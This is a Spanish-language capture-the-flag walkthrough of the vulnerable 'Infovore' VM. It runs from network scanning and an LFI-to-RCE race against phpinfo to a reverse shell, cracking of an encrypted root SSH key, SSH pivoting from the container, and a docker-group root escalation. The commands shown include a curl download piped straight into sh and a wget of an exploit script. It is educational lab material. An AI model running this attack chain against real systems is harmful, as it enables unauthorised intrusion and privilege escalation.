Nos dirigimos a Infovore: 1, descargamos el ova y para instalarlo puedes seguir el ejemplo observado en Instalar Máquina Vulhub en VirtualBox donde se explica como preparar un ova en virtual box.
❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 4c:6e:6e:5f:8c:e2 Comnect Technology CO.,LTD
192.168.1.102 e4:aa:ea:ca:19:1d Liteon Technology Corporation
192.168.1.112 08:00:27:0f:2b:e5 PCS Systemtechnik GmbH
192.168.1.250 44:22:7c:c3:ee:22 (Unknown)
192.168.1.103 80:6d:71:b9:f2:af (Unknown)
5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.203 seconds (116.21 hosts/sec). 5 responded
La IP correspondiente a nuestra máquina en mi caso es la 192.168.1.106 por lo que en esta ip vamos a trabajar, confirmamos comunicación haciendo ping.
❯ ping -c 1 192.168.1.112
PING 192.168.1.112 (192.168.1.112) 56(84) bytes of data.
64 bytes from 192.168.1.112: icmp_seq=1 ttl=64 time=0.981 ms
--- 192.168.1.112 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.981/0.981/0.981/0.000 ms
Analizamos los puertos abiertos en esta máquina
❯ nmap -p- --open -sS --min-rate 1000 -vvv -n -Pn 192.168.1.112
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-06 08:03 CET
Initiating ARP Ping Scan at 08:03
Scanning 192.168.1.112 [1 port]
Completed ARP Ping Scan at 08:03, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 08:03
Scanning 192.168.1.112 [65535 ports]
Discovered open port 80/tcp on 192.168.1.112
Completed SYN Stealth Scan at 08:04, 16.36s elapsed (65535 total ports)
Nmap scan report for 192.168.1.112
Host is up, received arp-response (0.0018s latency).
Scanned at 2023-12-06 08:03:45 CET for 16s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
MAC Address: 08:00:27:0F:2B:E5 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.64 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Vemos que solo tenemos un puerto abierto que es el puerto 80, vamos a enviar un conjunto predeterminado de scripts con el parámetro -sC y ver la versión del servicio expuesto con el parámetro -sV
❯ nmap -sCV -p80 192.168.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-06 08:06 CET
Nmap scan report for 192.168.1.112
Host is up (0.00099s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Include me ...
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:0F:2B:E5 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
Por la versión de Apache sabemos que estamos ante un Debian Buster, ahora vamos a realizar una enumaración de http usando un script programado en lua con nmap.
❯ nmap --script http-enum 192.168.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-06 08:11 CET
Nmap scan report for 192.168.1.112
Host is up (0.0024s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /info.php: Possible information file
MAC Address: 08:00:27:0F:2B:E5 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
Descubrimos qu existe un info.php por lo que vamos a proceder a revisarlo.
Podemos ver la página web, pero vemos una pista interesante que dice Include me... ya lo veremos más adelante, ahora revisaremos el archivo info.php
Analizamos todo el archivo pero vemos la versión de PHP, y que no tiene ninguna función deshabilitada por lo que podremos hacer system, pero si nos encontramos un LFI, vamos a proceder abrir el burpsuite.
Vemos que la petición normal es GET, vamos a procesar un envío cambiando el método por post.
Vemos que podemos enviar peticiones por POST, vamos a forzar la subida de archivos usando Content-type: multipart/form-data; boundary:
POST /info.php HTTP/1.1
Host: 192.168.1.112
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 98
--boundary
Content-Disposition: form-data; name="test"; filename="test.txt"
Hola
--boundary--
Si buscamos en el raw por $_FILE podremos observar que se carga y se envía a una carpeta temporal, pero ahora hay que buscar donde se puede existir una dirección donde permita la lectura de archivos, por lo que procedemos a la pista del comienzo que decía Include me...
http://192.168.1.112/index.php
Bueno no pasa nada, pero vamos ha fuzzear parámetros para ver si existe uno donde podamos leer archivos del sistema.
wfuzz -c -u "http://192.168.1.112/index.php?FUZZ=/etc/passwd" -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
Vemos que con este va aparecer mucha información
Por lo que vamos a ocultar las respuestas que tienen 136 líneas.
Confirmamos que con el parámetro filename podremos hacer lectura de archivos.
Pero si intentamos leer lo que hemos enviamos por post, pero no encontramos nada a razón que es un archivo temporal.
Aquí se va a presentar una condición de carrera de obtener el archivo antes de que se borre, y nos podemos ayudar de un script que está en Hacktricks que ve esta vulnerabilidad que presenta el phpinfo(), se llama el artículo LFI2RCE phpinfo() puedes leerlo para comprender un poco más esta vulnerabilidad pero el link del exploit, por lo que tendrás que descargarlo del siguiente phpinfolfi.py
wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/Files/phpinfolfi.py
Para ejecutar este script vamos a ejecutarlo con python 2.7, pero antes vamos a modificarlo con la información que hemos obtenido.
Guardamos. procedemos a ponernos en escucha por el puerto 443 y ejecutamos el exploit poniendo la ip de la máquina víctima y el puerto 80.
python2.7 phpinfolfi.py 192.168.1.112 80
Hacemos un Tratamiento de la TTY y notamos el hostname que parece que estamos dentro de un contenedor:
Estamos en un docker por lo que vamos a ver como escalamos privilegios dentro del mismo docker, por lo que vamos directamente a usar linPEAS para enumerar el sistema en el que estamos para observar una posible escalada de privilegios
Lo ejecutamos:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Veremos mucha información pero dentro de todo no hay algo que nos pueda servir para escalar exceptuando que vemos un archivo oculto en la raíz llamado .oldkeys.tgs, es interesante este archivo por lo que vamos a proceder a descomprimirlo para ver que contiene.
Al descomprimir vemos que contiene una llave pública y privada:
www-data@e71b67461f6c:/tmp$ tar -xvf /.oldkeys.tgz
root
root.pub
Son del usuario root, pero si revisamos la clave publica lo podemos reconfirmar:
Pero la clave privada está encriptada es decir que va a pedir una clave, por lo que vamos a usar ssh2john y john para obtener esa clave de la siguiente manera
Para ello vamos hacer uso de ssh2john que lo vamos a buscar donde está.
❯ locate ssh2john
/usr/share/john/ssh2john.py
Bueno yo me copio el .py al directorio donde estoy trabajando
mv /usr/share/john/ssh2john.py /home/luis/Desktop/Infovore/content
Copiamos la clave privada de root a nuestra máquina, y procedemos a hacer el siguiente comando.
python2.7 ssh2john.py root > hash
Ahora procedo a descrifrar con john la clave:
❯ john hash --wordlist:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93 (root)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:37 DONE (2023-12-06 16:19) 0.02656g/s 380921p/s 380921c/s 380921C/sa6_123..*7¡Vamos!
Session completed
Y si hacemos un john show
Vemos que la contraseña de root es choclate93, procedemos ha utilizarla.
Estamos como root en el contenedor, ahora vamos a buscar una manera de escapar del contendor
Ahora como root vamos a enumerar directorios, puertos y vemos que el puerto 22 en el docker está abierto para la ip del host. Lo comprobamos enviando una cadena vacía al /dev/tcp/
Como vemos no hay mensaje de error en el puerto 22 por lo que hay comunicación, eso nos da una pista de que buscar, nos dirigimos a /root/.ssh/ y listamos para ver que hay en este directorio.
Vemos que existe llaves publica y privada de un usuario admin en el host, por lo que vamos a tener que desepcritar la llave privada, pero por solo probar vamos a poner la misma contraseña que obtuvimos anteriormente.
ssh -i id_rsa admin@192.168.150.1
Vemos que tiene la misma contraseña pero en caso que no haya sido la misma, repetimos el proceso de desencriptado que vimos con john y ssh2john.
Ahora siendo el usuario admin vamos a buscar una manera de convertirnos en root.
Buscando grupos que podamos abusar para escalar privilegios:
Vemos que somos del grupo docker por lo que podremos crear un contenedor montando la carpeta raíz a /mnt/root en el contenedor, entrar al contenedor que creamos y ponerle permisos SUID a la /bin/bash.
docker run -dit -v /:/mnt/root --name priviesc theart42/infovore
docker exec -it priviesc bash
cd /mnt/root
chmod u+s ./bin/bash